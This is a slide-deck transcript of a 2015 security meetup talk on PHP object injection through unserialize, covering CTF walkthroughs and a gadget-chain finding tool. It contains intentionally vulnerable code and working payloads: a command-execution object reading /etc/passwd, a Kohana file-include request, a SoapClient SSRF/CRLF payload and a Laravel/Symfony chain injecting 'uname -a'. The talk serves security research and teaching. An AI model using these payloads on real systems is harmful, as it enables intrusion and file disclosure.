This document discusses exploiting PHP unserialization vulnerabilities. It begins by introducing the presenter and explaining what unserialization is and how it can be insecure if magic methods like __wakeup or __destruct are executed after unserialization. Potential vulnerabilities are demonstrated through examples. The document then discusses more complex chains that can be used to exploit unserialization, including examples from real-world projects like Kohana and exploiting serialized data stored in databases. It describes building a tool to automatically find chains in PHP code that could be exploited via unserialization and demonstrates its use on sample code. The document concludes by noting the challenges of automatically generating exploits due to the lack of static analysis in the tool.

1. PHP Unserialize Exploiting
Mail.Ru Security Meetup. 22 Nov 2015
#securitymeetup

2. whoami
Pavel Toporkov
● Work at Kaspersky Lab
● Security Researcher
● Bug Hunter
● RDot.Org team CTF player

3. why?

4. Unserialize
unserialize — Creates a PHP value from a stored
representation
array("foo", "bar") ⇔ a:2:{i:0;s:3:"foo";i:1;s:3:"bar";}

5. Why it insecure?
Magic methods can be executed after unserialization:
__wakeup()
__destruct()
__toString()
and so on...

6. Vulnerable example
<?php
class A {
public $exitCmd;
public function __destruct(){
system($this->exitCmd);
}
}
unserialize($_GET['a']);
?>
?a=O:1:"A":{s:7:"exitCmd";s:15:"cat /etc/passwd"}

7. What if we won't use danger
functions in magic methods?

8. More complex example
<?php
class DBConnect {
public function __destruct(){
$this->db->close();
}
}
class Process {
public function close(){
system("rm ${this->pidfile}.pid");
}
}

9. Kohana (system/classes/Kohana/View.php)
public function __toString(){
try {
return $this->render();
} catch (Exception $e){ ... }
}
protected static function capture
($kohana_view_filename, array
$kohana_view_data){
try {
include $kohana_view_filename;
} catch (Exception $e){ ... }
}
public function render($file){
...
View::capture($this->_file,
$this->_data);
}

10. Kohana Pwning
POST /api.php HTTP/1.1
Host: hostname
Content-Length: …
Content-Type: application/x-www-form-urlencoded
data=O:11:"Kohana_View":1:{s:8:"%00*%00_file";s:11:"
/etc/passwd";}

11. What if there will no such
chains in application code?

12. SSRF
Unserializing SoapClient can provide SSRF with CRLF
injection.
O:10:"SoapClient":3:{s:3:"uri";s:18:"http://hostname/3%0a1";
s:8:"location";s:23:"http://hostname/123";s:13:"
_soap_version";i:1;}
[0] https://www.youtube.com/watch?v=5AdVQzUB6iM
[1] http://raz0r.name/talks/confidence-2013-php-object-injection-revisited/

14. Composer
Composer helps you declare, manage and install dependencies
of PHP projects, ensuring you have the right stack
everywhere.
Actually it provide us a bunch of usable classes to build
chains for unserialize exploiting. Just try to get size of
your "vendor" directory.

15. What if we won't use unserialize
with user's input data!

16. Another way
PHP serialized data is often used to store PHP object in
database.
● User sessions
● Application cache
● ...

17. WhoEver!
PHD CTF 2015 Task
Based on a true story.
0 solvers :(

18. WhoEver! (step 1)
1. Read robots.txt, find api.php file.
2. Find that api.php can process XML data.
3. Get the source code using XML External Entity. (composer.
json and .git can help us to get all files)

19. WhoEver! (step 2)
$params = unserialize($_GET["params"]);
...
class User {
public function save(){
...
Database::query(
"INSERT INTO users (sess, user) VALUES('$this->sessid', '%s') ON
DUPLICATE KEY UPDATE user='%s'", array($user, $user));
}
public function __destruct(){
if ($this->needSave) $this->save();
}
}

20. WhoEver! (step 3)
public static function load($sessid){
...
$result = Database::query("SELECT user FROM users WHERE sess='$sessid'");
if ($result){
return unserialize($result["user"]);
} else return new User($sessid);
}
Now we can exploit another unserialize with more classes
available.
Let's try to build chain...

21. WhoEver! (step 3)
class Database {
public function __destruct(){
$this->db->close();
}
}
class Engine {
public function __call($name, $params) {
...
return $this->loader->load($name,
$shared);
}
}
class Loader {
public function load($name, $shared){
...
list($class, $params, $callback) =
$this->classes[$name];
...
$this->newInstance($class, $params);
...
}
public function newInstance($class,
$params) {
if (is_callable($class)) {
return call_user_func_array($class,
$params);
}
}

22. Finding chains
This project was 2MB.
In real projects we have 100+MB of PHP source code. So
finding chains to exploit unserialize is a big deal.

23. Let's code it!

24. Tool
My approach:
● No static analysis. It slow and complex
● Just find starting point
● Then find all methods and check if it can be executed
from this point.
● Repeat

25. Demo

26. Chain

27. Exploit (too long, cutted…)
O:20:"IlluminateViewView":1:{s:10:"%00*%00factory";O:23:"
IlluminateViewFactory":1:{s:9:"%00*%00events";O:42:"
IlluminateFoundationConsoleServeCommand":3:{s:9:"%00*%
00output";O:43:"
SymfonyComponentConsoleOutputNullOutput":0:{}s:8:"%00*%
00input";O:42:"SymfonyComponentConsoleInputArrayInput":
2:{s:10:"%00*%00options";a:2:{s:4:"host";s:12:"A;uname+-a;
A";s:4:"port";s:2:"AA";}s:13:"%00*%00definition";O:47:"
SymfonyComponentConsoleInputInputDefinition":1:{s:56:"%
00SymfonyComponentConsoleInputInputDefinition%
00options...

28. Results
● About 10 minutes to process 130MB of code
● Due to no static analysis it's extremely hard to auto-
generate exploits
P.S. Welcome to contribution!

29. Thanks!
Questions?
Pavel Toporkov
@Paul_Axe
http://paul-axe.blogspot.com/